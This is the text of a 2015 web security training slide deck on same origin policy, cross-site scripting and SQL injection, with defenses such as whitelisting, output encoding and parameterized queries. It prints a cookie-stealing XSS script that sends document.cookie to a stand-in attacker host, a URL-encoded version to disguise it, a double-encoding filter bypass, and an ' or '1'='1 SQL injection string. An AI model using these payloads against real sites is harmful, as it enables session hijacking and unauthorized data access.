Cross Site Scripting & SQL injectionHakan Tolgayhakan@hakantolgay.com15.01.2015

Input/Output handling - SOP SOP – Same Origin Policy

SOP, is a security measure used in Web browser programming languages such as JavaScript and Ajax to protect the confidentiality and integrity of information.

Same Origin Policy prevents a web site's scripts from accessing and interacting with scripts used on other sites.

To do that

Protocol Domain name Port

Input/Output handling - SOPhttp://www.example.com.tr:80/anon/bad.js

http://www. example.com.tr/admin/page.aspx

https://www. example.com.tr/admin/page.aspx

http://example.tr/anon/page.aspx

http://example.tr:81/admin/page.aspx

Input/Output handling – Whats the problem The typical problem in web applications is mixing of data and the malicious code.

Input fields of a web application can be exploited by hackers unless required checks are made.

Input fields should not be seen as simple text boxes.

What is Javascript JavaScript is a programming language used to make web pages interactive.

It runs on your visitor's computer and doesn't require constant downloads from website.

JavaScript is often used to create polls and quizzes.

Cross Site Scripting (XSS) – Introduction XSS is a vulnerability that allows an attacker to run arbitrary JavaScript in the context of the vulnerable website.

Exploit in Javascript

Is not depended on a specific platform or language

XSS – Introduction The target of XSS attack is other users.

In the 3rd place of OWASP top 10 security risk list (OWASP top 10 2013 is available in the training materials)

Thus, basically Cross Site Scripting is when attackers use vulnerabilities in your web application to distribute malicious

scripts to other users (which then run other users web browsers)

Types of XSS Reflected XSS

Link in other website or email

Stored XSS Forum, bulletin board, feedback form

DOM Based XSS PDF Adobe Reader , FLASH player

Reflected XSS

Reflected XSSSay that the www.netas.com.tr welcome page is vulnerable to a XSSS attack since a welcome message can be displayed on the welcome page with the user's name passed as a parameter: http://www.netas.com.tr/?nom=Hakan

Pass the following Javascript code as the name parameter, in order to redirect the user to a page atacker controls <SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

The above code retrieves the user's cookies and sends them as parameters to a CGI script. The following code passed as a parameter would be too visible: http://www.netas.com.tr/?nom=<SCRIPT>document.location

='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

However, coding the URL makes it possible to disguise the attack: http://www.netas.com.tr/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c

%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Reflected XSS

Reflected XSS – DEMO

Stored XSSJavaScript supplied by the attacker is stored by the website (e.g. in a database)

Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page

More dangerous than Reflected XSS

Stored XSS – DEMO

XSS – What can you do with JavaScript

Pop-up alerts and prompts

Access cookies/session tokens

Detect installed programs

Detect browser history

Capture keystrokes (and other trojan functionality)

Port scan the local network

Redirect to a different web site

Determine if they are logged on to a particular site

Capture clipboard content

Detect if the browser is being run in a virtual machine

Rewrite the status bar

Exploit browser vulnerabilities

Launch executable files (in some cases)

XSS - Defense What can be done?

Defense - Blacklisting approach Blacklist has items which shouldn’t have

Is fast to set up, but can be bypassed more easily by a skilled attacker.

Do not use "blacklist" validation to detect XSS in input or to encode output. Searching for and replacing just a few characters ("<" ">" and other similar characters or phrases such as

“script”) is weak and has been attacked successfully. Even an unchecked “<b>” tag is unsafe in some contexts. XSS has a surprising number of variants that

make it easy to bypass blacklist validation.

Defense - Whitelisting approachWhitelist has items which should have

Whitelisting allows for a much stronger security solution than blacklisting but comes with a steep learning curve. Once mastered, though, whitelisting is very effective at stopping XSS attacks.

Defense - Encoding/Decoding Encoding variable output substitutes HTML markup with alternate representations called entities

By using double encoding it’s possible to bypass security filters that only decode user input once.

Encoding Demo

Defense - Encoding/Decoding - Example <script>alert('XSS')</script>

Web application can have a character filter which prohibits characters such as “< “, “>” and “/”, since they are used to perform web application attacks.

The attacker could use a double encoding technique to bypass the filter and exploit the client’s session. The encoding process for this Java script is:

Finally, the malicious double encoding code is:

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

Defense Never Insert Untrusted Data Except in Allowed Locations in OWASP XSS prevention list rules

Check https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

What is SQLStructured Query Language

A Language designed for managing data held in databases

Examples: SELECT * FROM usersTable WHERE uname = ‘hakan’

SELECT isbn, title, price FROM Book WHERE price > 100.00 ORDER BY title;

What is SQL – more exampleSELECT Name, Surnamme FROM Custome WHERE Age > 30;

Customer

Name Surname Age Sex

Lisa Becker 37 F

Erwin Visser 31 M

Lara Martini 24 F

Alan Newman 29 MResult Set

SQL Injection Sending parameters directly from application to the database server can cause unauthorized queries.

#1 at top 10 security risk list

SQL Injection

statement = "SELECT * FROM users WHERE name ='" + userName + "';

' or '1'='1

SELECT * FROM users WHERE name = '' OR '1'='1';

SQL Injection – DEMO

SQL Injection – DefenseUse parameterized queries

For Java use PreparedStatement For c# use Parameters.Add

Check OWASP SQL injection cheat sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Thank You